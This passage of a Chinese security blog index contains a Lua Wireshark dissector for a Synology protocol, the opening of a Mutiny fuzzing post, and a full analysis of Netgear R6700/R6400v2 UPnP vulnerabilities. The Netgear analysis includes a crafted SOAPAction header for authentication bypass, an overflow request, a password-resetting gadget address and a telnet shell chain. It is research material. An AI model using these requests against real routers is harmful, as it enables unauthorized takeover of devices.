value:string()\n end,\n [0x78] = function (value)\n return value:string()\n end,\n [0x7c] = function (value)\n return value:string()\n end,\n [0xc0] = function (value)\n return value:string()\n end,\n [0xc1] = function (value)\n return value:string()\n end\n}\n\n-- register fields\nsynoFinderProtocol.fields = {\n magic,\n type, length, value, -- tlv\n packetType, serverName, ipAddress, ipMask, ipGateway, macAddress, dns, packetSubtype, password, arch, username, shareFolder, version, model, serialNum, category, -- specific value field\n value8, value16, value32\n}\n\n-- reference: https://stackoverflow.com/questions/52012229/how-do-you-access-name-of-a-protofield-after-declaration\nfunction getFieldName(field)\n local fieldString = tostring(field)\n local i, j = string.find(fieldString, \": .* \" .. protoName)\n return string.sub(fieldString, i + 2, j - (1 + string.len(protoName)))\nend\n\nfunction getFieldType(field)\n local fieldString = tostring(field)\n local i, j = string.find(fieldString, \"ftypes.* \" .. \"base\")\n return string.sub(fieldString, i + 7, j - (1 + string.len(\"base\")))\nend\n\nfunction getFieldByType(type, length)\n local tmp_field = typeFields[type]\n if(tmp_field) then\n return tmp_field -- specific value filed\n else\n if length == 4 then -- common value field\n return value32\n elseif length == 2 then\n return value16\n elseif length == 1 then\n return value8\n else\n return value\n end\n end\nend\n\nfunction formatValue(type, value)\n local tmp_func = typeFormats[type]\n if(tmp_func) then\n return tmp_func(value)\n else\n return \"\"\n end\nend\n\nfunction synoFinderProtocol.dissector(buffer, pinfo, tree)\n -- (buffer: type Tvb, pinfo: type Pinfo, tree: type TreeItem)\n local buffer_length = buffer:len()\n if buffer_length == 0 then return end\n\n pinfo.cols.protocol = synoFinderProtocol.name\n\n local subtree = tree:add(synoFinderProtocol, buffer(), \"Synology Finder Protocol\")\n subtree:add_le(magic, buffer(0, 8))\n\n local offset = 0\n local payloadStart = 8\n while payloadStart + offset < buffer_length do\n local tlvType = buffer(payloadStart + offset, 1):uint()\n local tlvLength = buffer(payloadStart + offset + 1, 1):uint()\n local valueContent = buffer(payloadStart + offset + 2, tlvLength)\n local tlvField = getFieldByType(tlvType, tlvLength)\n local fieldName = getFieldName(tlvField)\n local description\n if fieldName == \"Value\" then\n description = \"TLV (type\" .. \":\" .. string.format(\"0x%x\", tlvType) .. \")\"\n else\n description = fieldName .. \": \" .. tostring(formatValue(tlvType, valueContent))\n end\n\n local tlvSubtree = subtree:add(synoFinderProtocol, buffer(payloadStart+offset, tlvLength+2), description)\n tlvSubtree:add_le(type, buffer(payloadStart + offset, 1))\n tlvSubtree:add_le(length, buffer(payloadStart + offset + 1, 1))\n if tlvLength > 0 then\n local fieldType = getFieldType(tlvField)\n if string.find(fieldType, \"^IP\") == 1 then\n -- start with \"IP\"\n tlvSubtree:add(tlvField, buffer(payloadStart + offset + 2, tlvLength))\n else\n tlvSubtree:add_le(tlvField, buffer(payloadStart + offset + 2, tlvLength))\n end\n end\n\n offset = offset + 2 + tlvLength\n end\n\n if payloadStart + offset ~= buffer_length then\n -- fallback dissector that just shows the raw data\n Dissector.get(\"data\"):call(buffer(payloadStart+offset):tvb(), pinfo, tree)\n end\n\nend\n\nlocal udp_port = DissectorTable.get(\"udp.port\")\nudp_port:add(9999, synoFinderProtocol)\n```\n\n### 小结\n\n本文以群晖`NAS`设备中的某个私有协议为例,介绍了采用`Lua`脚本编写`Wireshark`协议解析插件的过程。该协议相对比较简单,但方法适用于其他协议。如果经常需要与某些私有协议打交道,在了解协议格式之后,可以尝试编写对应的协议解析插件,方便对协议进行理解与分析。\n\n### 附件下载\n\n[示例pcap文件及协议解析插件](./syno_finder.zip)\n\n### 相关链接\n\n+ [Creating a Wireshark dissector in Lua 系列](https://mika-s.github.io/wireshark/lua/dissector/2017/11/04/creating-a-wireshark-dissector-in-lua-1.html)\n+ [Wireshark dissector packet-cdp](https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-cdp.c)\n+ [Example: Dissector written in Lua](https://www.wireshark.org/docs/wsdg_html_chunked/wslua_dissector_example.html)\n+ [Wireshark’s Lua API Reference Manual](https://www.wireshark.org/docs/wsdg_html_chunked/wsluarm_modules.html)\n\n\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/TjFCyECoNCU7yLtj3_z17Q](https://mp.weixin.qq.com/s/TjFCyECoNCU7yLtj3_z17Q)","tags":["协议"],"categories":["基础"]},{"title":"Pwn2Own Netgear R6700 UPnP漏洞分析","url":"/2020/07/04/Pwn2Own-Netgear-R6700-UPnP漏洞分析/","content":"\n### 前言\n\n6月15日,`ZDI`发布了有关`NETGEAR` `R6700`型号路由器的10个`0 day`的安全公告,其中有2个关于`UPnP`的漏洞:[认证绕过](https://www.zerodayinitiative.com/advisories/ZDI-20-703/)和[缓冲区溢出](https://www.zerodayinitiative.com/advisories/ZDI-20-704/)。通过组合这2个漏洞,在`Pwn2Own Tokyo 2019`比赛中,来自`Team Flashback`的安全研究员`Pedro Ribeiro`和`Radek Domanski`成功在`R6700v3`设备上实现代码执行。\n\n6月17日,`NETGEAR`官方发布了[安全公告](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders),并针对`R6400v2`和`R6700v3`这2个型号的设备发布了补丁。由于此时还没有这2个漏洞的具体细节,于是打算通过补丁比对的方式对漏洞进行定位和分析。\n\n<!-- more -->\n\n### 补丁比对\n\n选取`R6400v2`型号作为目标设备,根据`NETGEAR`官方的安全公告,选取`R6400v2-V1.0.4.82`和`R6400v2-V1.0.4.92`两个版本进行比对分析。\n\n> 当时`R6400v2-V1.0.4.92`为最新的补丁版本,后来`NETGEAR`官方对安全公告进行了更新,目前最新的补丁版本为`R6400v2-V1.0.4.94`。\n\n由于漏洞与`UPnP`服务有关,于是对`upnpd`程序进行分析,`Bindiff`比对的结果如下。\n\n<img src=\"images/upnpd_bindiff.png\">\n\n由图可知,存在差异的重要函数共7个。逐个对函数进行比对和分析,最终定位到`sub_00024D80()`函数中(补丁版本)。\n\n<img src=\"images/vuln_func_control_flow.png\">\n\n可以看到,在`V1.0.4.92`补丁版本中,在调用`memcpy()`之前增加了一个长度校验,很有可能这里就是漏洞修复点。两个函数对应的伪代码如下,在补丁版本中,除了增加对`memcpy()`长度参数的校验外,`sscanf()`的格式化参数也发生了变化,可能在调用`sscanf()`时就会出现溢出。另外,结合该函数中的字符串`sa_setBlockName`,与`ZDI`漏洞公告中的描述相符,因此猜测这里就是栈溢出漏洞点。\n\n> 为了便于阅读,已对部分函数进行了重命名。\n\n<img src=\"images/pseudocode_diff.png\">\n\n另外,通过补丁比对的方式,暂时未定位到认证绕过漏洞。\n\n### 漏洞利用限制\n\n`upnpd`程序启用的缓解措施如下:仅启用了`NX`机制,同时程序的加载基址为`0x8000`。此外,设备上的`ALSR`等级为1,且`upnpd`程序崩溃后并不会重启。\n\n```shell\n$ checksec --file ./usr/sbin/upnpd \n Arch: arm-32-little\n RELRO: No RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8000)\n```\n\n根据上述信息,在无信息泄露的前提下,要想利用漏洞实现任意代码执行,最大的难题是`NULL`字符截断的问题。由于`upnpd`程序中`.text`段地址的最高字节均为`'\\x00'`,在覆盖返回地址后,后面的payload无法传入,因此只有一次覆盖返回地址的机会。想过尝试利用单次覆盖的机会泄露地址信息,但由于`upnpd`程序崩溃后不会重启,似乎也不可行。在尝试常规思路无果后,于是求助于`Pedro Ribeiro`,`Pedro Ribeiro`表示不便提前透露,但近期会公布漏洞细节。\n\n> 在其他设备中也遇到过`NULL`字符截断的问题,故对这个漏洞如何利用更感兴趣,暂时未对调用路径进行详细分析。\n\n### 漏洞分析\n\n6月25日,`Pedro Ribeiro`在`GitHub`上公布了[漏洞细节](https://github.com/pedrib/PoC/blob/da317bbb22abc2c88c8fcad0668cdb94b2ba0a6f/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md),并告知了我 ( 非常感谢:) )。结合`Pedro Ribeiro`的`write up`,加上有了可调试的真实设备,对这两个漏洞的细节有了更进一步的了解。\n\n> 感兴趣的可以去看一下`Pedro Ribeiro`的`write up`,很详细。\n\n#### `SOAP`消息\n\n`upnpd`程序会监听`5000/tcp`端口,其主要通过`SOAP`协议来进行数据传输,这两个漏洞存在于对应的`POST`请求中。`SOAP`是一个基于`XML`的协议,一条`SOAP`消息就是一个普通的`XML`文档,其包含`Envelope`、`Header`(可选)、`Body`和`Fault`(可选)等元素。针对该设备,一个`POST`请求示例如下。\n\n```http\n// 省略部分内容\nPOST soap/server_sa/ HTTP/1.1\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\n\n<?xml version=\"1.0\"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n<SOAP-ENV:Body>\nSetNetgearDeviceName\n<NewBlockSiteName>123456\n</NewBlockSiteName>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n```\n\n#### 缓冲区溢出\n\n栈溢出漏洞存在于`sa_setBlockName()`函数内的`sscanf()`处,漏洞本身比较简单,但还需要对调用路径进行分析看如何触发。在`V1.0.4.82`版本中,函数`sa_setBlockName()`的调用路径如下。\n\n<img src=\"images/vuln_func_call_path.png\" style=\"zoom:80%\">\n\n##### `sa_parseRcvCmd()`函数\n\n在函数`sa_parseRcvCmd()`内,需要使得`(3)`处的条件成立,即`v7=0xFF37`。`(2)`处循环及其后面的代码主要是查找标签并返回其索引(类型?),同时解析标签中的内容,而在`(1)`处`v4`指向对应的标签名称表,其部分内容如下。因此,请求数据中需要包含`<NewBlockSiteName>`标签。\n\n```c\nint __fastcall sa_parseRcvCmd(char *a1, signed int a2)\n{\n v2 = 0; haystack = a1; v76 = a2; v3 = strstr(haystack, \":Body>\");\n memcpy(&v82, haystack, 0x31u);\n v83 = 0;\n if ( !v3 )\n return 702;\n v4 = dword_7DA44; // (1) 指向标签名称及索引表\n memset(dword_D96CC, 0, 0x5F0u);\n v5 = off_7DA48; v72 = dword_7DA4C;\n if ( off_7DA48 == \"END_OF_FILE\" )\n return v2;\n v73 = v3 + 6; whence = 0; v6 = 0; v71 = 0; v75 = 0; buf = 0;\n while ( 1 ) // (2) 查找标签,并获取其中的内容\n {\n // ...\n v7 = *v4;\n // ...\n snprintf((char *)&s, 0x32u, \"<%s\", v5);\n snprintf((char *)&v84, 0x32u, \"</%s>\", v5);\n v8 = strstr(v73, (const char *)&s);\n if ( !v8 )\n goto LABEL_25;\n v9 = strchr(v8, '>'); v10 = v7 == 0xFF3A || v7 == 0xFF13;\n src = v9 + 1;\n if ( v10 )\n break;\n v6 = strstr(src, (const char *)&v84);\n if ( v6 )\n goto LABEL_12;\n wrap_vprintf(2, \"%d, could not found %s\\n\", 0x4C6, &v84);\nLABEL_25:\n if ( v4 != &dword_7E368 && v71 <= 19 )\n {\n v5 = (char *)v4[4]; v17 = v4[5]; v4 += 3; v72 = v17;\n if ( v5 != \"END_OF_FILE\" )\n continue;\n }\n return 0;\n }\n // ...\n if ( v7 == 0xFF13 )\n {\n // ...\n }\nLABEL_20:\n if ( v7 == 0xFF37 ) // (3) 对应标签NewBlockSiteName\n {\n if ( buf )\n {\n dword_D96CC[19 * v71] = 0xFF37;\n return sa_setBlockName(src, (int)buf);\n // ...\n```\n\n```assembly\n; 标签名称和索引(类型?)表\n.data:0007DA44 dword_7DA44 DCD 0xFF00 \n.data:0007DA48 off_7DA48 DCD aNewenable ; \"NewEnable\"\n.data:0007DA4C dword_7DA4C DCD 1 \n; ...\n.data:0007DCE4 DCD 0xFF37\n.data:0007DCE8 DCD aNewblocksitena ; \"NewBlockSiteName\"\n.data:0007DCEC DCD 0x3E8\n```\n\n##### `sa_processResponse()`函数\n\n在`sa_processResponse()`函数内,在`(1)`处根据`soap_action`的类型进入不同的处理分支,在`case 0`中有多处(`SetDeviceNameIconByMAC`,`SetDeviceInfoByMAC`,`SetNetgearDeviceName`)会跳到分支`LABEL_184`,满足一定条件后在`(2)`处会调用``sa_parseRcvCmd()``,同样`case 1`中也有多处会跳到`LABEL_184`分支,之后会调用`sa_parseRcvCmd()`。\n\n```c\nunsigned int sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5)\n{\n v5 = (void *)a1; v6 = a2;\n switch ( (unsigned int)v5 ) // (1) soap action type\n {\n case 0u: // 对应service:DeviceInfo\n if ( sa_findKeyword((int)v6, 0) == 1 ) // GetInfo\n goto LABEL_241;\n if ( sa_findKeyword((int)v6, 0xB1) == 1 ) // SetDeviceNameIconByMAC\n { v12 = 177; goto LABEL_184; }\n if ( sa_findKeyword((int)v6, 0xB9) == 1 ) // SetDeviceInfoByMAC\n { v12 = 185; goto LABEL_184; }\n if ( sa_findKeyword((int)v6, 0xBA) == 1 ) // SetNetgearDeviceName\n { v12 = 186; goto LABEL_184; }\n // ...\n case 1u: // 对应service:DeviceConfig\n if ( sa_findKeyword((int)v6, 0xB8) == 1 ) // SOAPLogin\n { v10 = 184; v11 = -1; goto LABEL_242; }\n // ...\n if ( sa_findKeyword((int)v6, 0xB6) == 1 ) // RecoverAdminPassword\n { v12 = 182; goto LABEL_184; }\n // ...\n case 7u: // 对应service:ParentalControl\n if ( sa_findKeyword((int)v6, 71) == 1 ) // GetAllMACAddresses\n { v10 = 71; v11 = -1; goto LABEL_242; }\n // ...\nLABEL_184:\n wrap_vprintf(3, \"%s()\\n\", \"sa_checkSessionID\");\n v13 = strstr(v6, \"SessionID\");\n if ( !v13 )\n goto LABEL_759;\n v14 = v13 + 9; v15 = strchr(v13 + 9, 62); v16 = strstr(v14, \"</\");\n v17 = v15 == 0;\n if ( v15 )\n v17 = v16 == 0;\n if ( !v17\n && ((v18 = v15 + 1, v16 >= v15 + 1) ? (v19 = v16 - (_BYTE *)v18) : (v19 = (_BYTE *)v18 - v16), v19 <= 0x27) )\n { /* ... */ }\n else\n { /* ... */ }\n if ( v12 != 0x2D )\n {\n if ( v12 == 0x4E )\n { /* ... */ }\n else\n {\n if ( v12 != 0x5C )\n {\nLABEL_196:\n v8 = sa_parseRcvCmd(v6, v75); // (2)\n // ...\n```\n\n其中,`sa_findKeyword()`函数主要是根据指定的`index`在表中查找对应的`keyword`,对应表的部分内容如下。\n\n```assembly\n.data:0007D47C dword_7D47C DCD 0 \n.data:0007D480 DCD aGetinfo ; \"GetInfo\"\n; ...\n.data:0007D9EC DCD 0xB1\n.data:0007D9F0 DCD aSetdevicenamei ; \"SetDeviceNameIconByMAC\"\n; ...\n.data:0007DA14 DCD 0xB9\n.data:0007DA18 DCD aSetdeviceinfob ; \"SetDeviceInfoByMAC\"\n; ...\n.data:0007DA1C DCD 0xBA\n.data:0007DA20 DCD aSetnetgeardevi ; \"SetNetgearDeviceName\"\n; ...\n.data:0007DA2C DCD 0xB6\n.data:0007DA30 DCD aRecoveradminpa ; \"RecoverAdminPassword\"\n; ...\n.data:0007DA34 DCD 0xB8\n.data:0007DA38 DCD aSoaplogin ; \"SOAPLogin\"\n```\n\n综上,通过构造如下所示的`SOAP`消息,即可到达漏洞点。\n\n```xml\n<?xml version=\"1.0\"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n<SOAP-ENV:Body>\nSetNetgearDeviceName\t\t// SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行\n<NewBlockSiteName>123\n</NewBlockSiteName>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n```\n\n#### 认证绕过\n\n在前面的分析中,选择通过`case 0`中的`SetNetgearDeviceName`(或`SetDeviceNameIconByMAC`、`SetDeviceInfoByMAC`)去触发漏洞,这就涉及到认证绕过漏洞了。\n\n```c\nsigned int __fastcall sa_method_check(char *a1, int a2, char *a3, signed int a4)\n{\n request_ptr = a1; // point to the start of http request\n v5 = a2; v6 = a3; v7 = a4; v8 = 0;\n v9 = dword_8F5B8;\n LOBYTE(dword_BFEC4) = 0;\n *(_WORD *)((char *)&dword_BFEC4 + 1) = 0;\n HIBYTE(dword_BFEC4) = 0;\n if ( dword_8F5B8 == 1 )\n return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);\n v11 = stristr(request_ptr, aSoapaction_0); // (1) 查找\"SOAPAction:\"\n if ( !v11 )\n return -1;\n v12 = aDeviceinfo;\n v13 = (const char *)(v11 + strlen(aSoapaction_0));\n while ( 1 ) // (2) 在表中查找具体的SOAPAction操作, 并获取对应的soap_action type\n {\n v14 = v12; dword_9DCF4 = (int)v12; v12 += 30;\n if ( stristr(v13, v14) )\n break;\n if ( ++v8 == 11 )\n {\n soap_action_index = -1; goto LABEL_10;\n }\n }\n soap_action_index = v8;\nLABEL_10:\n // ... \n v19 = (const char *)stristr(request_ptr, \"Cookie:\");\n v20 = (const char *)stristr(request_ptr, \"SOAPAction:\");\n v21 = (size_t)v20;\n v22 = strchr(v20, '\\r');\n *v22 = v18; v23 = v21; n = v22;\n v24 = stristr(v23, \"service:DeviceConfig:1#SOAPLogin\") == 0;\n if ( !v19 )\n v24 = 0;\n *n = 13;\n if ( !v24 || (v25 = strchr(v19, '\\r'), (v87 = v25) == 0) )\n {\nLABEL_52:\n strncpy((char *)&unk_D9050, \"\", 0x13u);\n v44 = inet_ntoa((struct in_addr)v6);\n strncpy((char *)&unk_D9050, v44, 0x13u);\n v45 = inet_ntoa((struct in_addr)v6);\n v46 = (const char *)acosNvramConfig_get(\"lan_ipaddr\");\n if ( strcmp(v45, v46) // (3) 需保证判断条件为false\n && strncmp(v13, \" urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate\", 0x3Au)\n && strncmp(v13, \" \\\"urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate\\\"\", 0x3Cu)\n && strncmp(v13, \" urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\", 0x34u)\n && strncmp(v13, \" \\\"urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\\\"\", 0x36u)\n && strncmp(v13, \" urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo\", 0x30u) )\n {\n // ...\n }\n goto LABEL_27;\n }\n // ...\nLABEL_27:\n if ( strcmp((const char *)dword_9DCF4, \"ParentalControl\") )\n goto LABEL_28;\n // ...\nLABEL_28:\n if ( soap_action_index == -1\n || (v31 = (const char *)dword_9DCF4,\n wrap_vprintf(3, \"%s()\\n\", \"sa_saveXMLServiceType\"),\n memset(byte_9FA30, 0, 0x64u),\n (v32 = stristr(request_ptr, \"urn:\")) == 0)\n || (v33 = (const void *)stristr(v32 + 4, \":\")) == 0\n || (v34 = stristr(request_ptr, v31)) == 0 )\n {\nLABEL_50:\n v9 = 401;\n return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);\n }\n v35 = strlen(v31);\n strcat(byte_9FA30, \"urn:NETGEAR-ROUTER\");\n v36 = strlen(byte_9FA30);\n memcpy(&byte_9FA30[v36], v33, v34 + v35 - (_DWORD)v33);\n strcat(byte_9FA30, \":1\");\n v37 = sa_processResponse(soap_action_index, request_ptr, v5, v7, v6); // (4)\n```\n\n在`sa_method_check()`函数中,在`(1)`处查找`POST`请求中的`SOAPAction:`头,`(2)`处在表中查找具体的`SOAPAction`服务并获取对应的类型(索引?),表中包含的服务名称及其顺序如下。\n\n```asm\n.data:0007E380 aDeviceinfo \t\tDCB \"DeviceInfo\",0 \n.data:0007E39E aDeviceconfig \t\tDCB \"DeviceConfig\",0\n.data:0007E3BC aWanipconnectio_0 \t DCB \"WANIPConnection\",0\n.data:0007E3DA aWanethernetlin_0 \t DCB \"WANEthernetLinkConfig\",0\n.data:0007E3F8 aLanconfigsecur \t\tDCB \"LANConfigSecurity\",0\n.data:0007E416 aWlanconfigurat \t\tDCB \"WLANConfiguration\",0\n.data:0007E434 aTime \t\tDCB \"Time\",0\n.data:0007E452 aParentalcontro \t\tDCB \"ParentalControl\",0\n.data:0007E470 aAdvancedqos \t\tDCB \"AdvancedQoS\",0\n.data:0007E48E aUseroptionstc \t\tDCB \"UserOptionsTC\",0\n.data:0007E4AC aEndOfFile_0 \t\tDCB \"END_OF_FILE\",0\n```\n\n为了使得程序能执行到`(4)`,需要使得`(3)`处的判断条件不成立,即`SOAPAction`头部需包含以下三个之一。在`(3)`处还有一个对`ip`的判断,但这个似乎不太好伪造。\n\n+ `urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate`\n+ `urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin`\n+ `urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo`\n\n访问以上3个`SOAPAction`是无需认证的,似乎到这里直接发送如下`POST`请求就可以到达溢出漏洞点了。\n\n```http\nPOST soap/server_sa/ HTTP/1.1\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\n\n<?xml version=\"1.0\"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n<SOAP-ENV:Body>\nSetNetgearDeviceName\t\t// SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行\n<NewBlockSiteName>123\n</NewBlockSiteName>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n```\n\n但是在`sa_processResponse()`函数中,在根据`soap_action`的类型进入分支处理时,`urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo`和`urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin`这2项会分别匹配对应`case` 分支的第1条`if`语句,从而跳转到其他地方,而`urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate`对应的`case`分支中的跳转都是跳到其他地方。因此,直接访问以上3个`SOAPAction`,程序执行流程不会到达溢出漏洞点。\n\n```c\nunsigned int __fastcall sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5)\n{\n\n v5 = (void *)a1; v6 = a2;\n switch ( (unsigned int)v5 )\n {\n case 0u: // 对应service:DeviceInfo\n if ( sa_findKeyword((int)v6, 0) == 1 ) // GetInfo\n goto LABEL_241; // (1) <=== 跳转到其他分支\n if ( sa_findKeyword((int)v6, 0xB1) == 1 ) // SetDeviceNameIconByMAC\n { v12 = 177; goto LABEL_184; }\n if ( sa_findKeyword((int)v6, 0xB9) == 1 ) // SetDeviceInfoByMAC\n { v12 = 185; goto LABEL_184; }\n if ( sa_findKeyword((int)v6, 0xBA) == 1 ) // SetNetgearDeviceName\n { v12 = 186; goto LABEL_184; }\n // ...\n case 1u: // 对应service:DeviceConfig\n if ( sa_findKeyword((int)v6, 0xB8) == 1 ) // SOAPLogin\n { v10 = 184; v11 = -1; goto LABEL_242; } // (2) <=== 跳转到其他分支\n // ...\n case 7u: // 对应service:ParentalControl\n if ( sa_findKeyword((int)v6, 71) == 1 ) // GetAllMACAddresses\n { v10 = 71; v11 = -1; goto LABEL_242; } // (3) <=== 全部跳转到其他分支\n // ...\n```\n\n那么如何才到达溢出漏洞点且无需认证呢?考虑到在查找`SOAPAction`服务和`SOAPAction`对应的关键字时采用的是`stristr()`函数,即直接进行字符串匹配查找,而没有考虑字符串具体的位置,可以通过发送如下`POST`请求绕过认证并达到溢出漏洞点。\n\n```http\n// 省略部分内容\nPOST soap/server_sa HTTP/1.1\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLoginDeviceInfo\n\n<?xml version=\"1.0\"?>\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n<SOAP-ENV:Body>\nSetNetgearDeviceName\n<NewBlockSiteName>123456\n</NewBlockSiteName>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n```\n\n首先,在`sa_method_check()`中,在查找`SOAPAction`服务时,对应的表项`DeviceInfo`排在`DeviceConfig`之前,因此会匹配到`DeviceInfo`,对应的`soap_action`类型为0。其次,在对`SOAPAction`头部进行判断时,某个`strncmp()`会比对成功返回0,使得对应的`if`条件为`false`,程序继续执行后会调用`sa_processResponse()`。在`sa_processResponse()`中,由于`soap_action`的类型为0,程序会进入`case 0`分支,在查找关键字时会匹配到下面的`SetNetgearDeviceName`,因而会跳到对应的分支继续执行,最终到达溢出漏洞点。\n\n### 漏洞利用\n\n现在可以绕过认证并触发溢出漏洞了,该如何对溢出漏洞进行利用呢?溢出时的`crash`信息如下,可以看到,寄存器`r4`~`r8`和`pc`的内容都被覆盖了。\n\n```shell\n(gdb) c \nContinuing. \n \nProgram received signal SIGSEGV, Segmentation fault.\nCannot access memory at address 0x63636362 \n0x63636362 in ?? () \n(gdb) i r \nr0 0x0 0 \nr1 0x662bc 418492 \nr2 0x662bc 418492 \nr3 0xbeece355 3203195733 \nr4 0x61616161 1633771873 \nr5 0x61616161 1633771873 \nr6 0x61616161 1633771873 \nr7 0x61616161 1633771873 \nr8 0x62626262 1650614882 \nr9 0x1 1 \nr10 0x0 0 \nr11 0xbeeccf80 3203190656 \nr12 0x0 0 \nsp 0xbeeccbb0 0xbeeccbb0 \nlr 0x24c38 150584 \npc 0x63636362 0x63636362 \ncpsr 0x60000030 1610612784 \n(gdb) x/10wx $sp-0x10 \n0xbeeccba0: 0x61616161 0x61616161 0x62626262 0x63636363\n0xbeeccbb0: 0x00000000 0x0000ff37 0x0000041e 0xbeeccf80\n0xbeeccbc0: 0xbeeccf4c 0x00000002 \n```\n\n前面提到过,若想要实现任意代码执行,需要解决`NULL`字符截断的问题。在仅有一次覆盖返回地址的机会时,该如何构造`payload`呢? 在有限的条件下,`Pedro Ribeiro`采取了一种巧妙的方式,通过单次覆盖来修改设备管理员账户的密码,而`upnpd`程序中正好存在这一代码片段。这段代码不依赖于其他的寄存器以及栈空间内容等,跳转执行成功后程序还是会崩溃,但管理员账户的密码已成功修改成`password`。\n\n```assembly\n; V1.0.4.82 版本\n.text:00039A58 LDR R0, =aHttpPasswd ; \"http_passwd\"\n.text:00039A5C LDR R1, =aPassword ; \"password\"\n.text:00039A60 BL acosNvramConfig_set\n```\n\n有了管理员账户和密码后,可以登录设备的管理界面,对设备的配置进行修改,但如何获取设备的`shell`以实现代码执行呢?`Pedro Ribeiro`指出,在`R6700v3`型号的设备上,可以通过某种方式开启设备的`telnet`服务,再利用已有的管理员账号和密码登录,即可获取设备的`shell`。\n\n`Pedro Ribeiro`给出的完整利用流程如下:\n\n+ 结合认证绕过漏洞和缓冲区溢出漏洞,通过发送`POST`请求来修改管理员账号的密码;\n+ 利用已有的管理员账号和密码,登录web页面,再次修改管理员账号的密码;\n+ 通过向设备的`23/udp`端口发送`telnetenable`数据包,以开启`telnet`服务;\n+ 利用已有的管理员账号和密码,登录`telnet`服务,即可成功获取设备的`shell`\n\n### 小结\n\n本文从补丁比对出发,结合`Pedro Ribeiro`的`write up`,对`NETGEAR` `R6400v2`型号设备中的`UPnP`漏洞进行了定位和分析。\n\n+ 认证绕过:在对`SOAPAction`头进行解析和处理时,由于缺乏适当的校验,可通过伪造`SOAPAction`头部来绕过认证,从而访问某些`API`\n+ 缓冲区溢出:在解析和处理`POST`请求中的数据时,由于缺乏长度校验,通过伪造超长的数据,最终会造成在`sa_setBlockName()`函数中出现缓冲区溢出\n\n栈溢出漏洞本身比较简单,但漏洞利用却存在`NULL`字符截断的问题,在只有一次覆盖返回地址的机会时,`Pedro Ribeiro`采用了一种巧妙的方式,值得借鉴和学习。\n\n### 相关链接\n\n+ [(0Day) (Pwn2Own) NETGEAR R6700 UPnP SOAPAction Authentication Bypass Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-20-703/)\n+ [(0Day) (Pwn2Own) NETGEAR R6700 UPnP NewBlockSiteName Stack-based Buffer Overflow Remote Code Execution Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-20-704/)\n+ [Security Advisory for Multiple Vulnerabilities on Some Routers, Mobile Routers, Modems, Gateways, and Extenders](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)\n+ [tokyo_drift](https://github.com/pedrib/PoC/blob/da317bbb22abc2c88c8fcad0668cdb94b2ba0a6f/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)\n+ [SOAP 介绍](https://segmentfault.com/a/1190000003762279)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/209232](https://www.anquanke.com/post/id/209232)\n\n","tags":["Netgear"],"categories":["IoT","漏洞"]},{"title":"MikroTik SMB测试之Mutiny Fuzzer","url":"/2020/07/01/MikroTik-SMB测试之Mutiny-Fuzzer/","content":"\n### 前言\n\n`Mutiny`是由思科研究人员开发的一款基于变异的网络`fuzz`框架,其主要原理是通过从数据包(如`pcap`文件)中解析协议请求并生成一个`.fuzzer`文件,然后基于该文件对请求进行变异,再发送给待测试的目标。通过这种方式,可以在很短的时间内开始对目标进行`fuzz`,而不用关心相关网络协议的具体细节。\n\n<!-- more -->\n\n最近在对`MikroTik`设备的`SMB`服务进行分析测试时,在尝试采用基于生成方式的`fuzzer`没有效果后,试了一下`Mutiny Fuzzer`,意外地发现了3个漏洞。下面对该过程进行简要介绍。\n\n> 这里主要采用黑盒测试的方式\n\n### `Mutiny 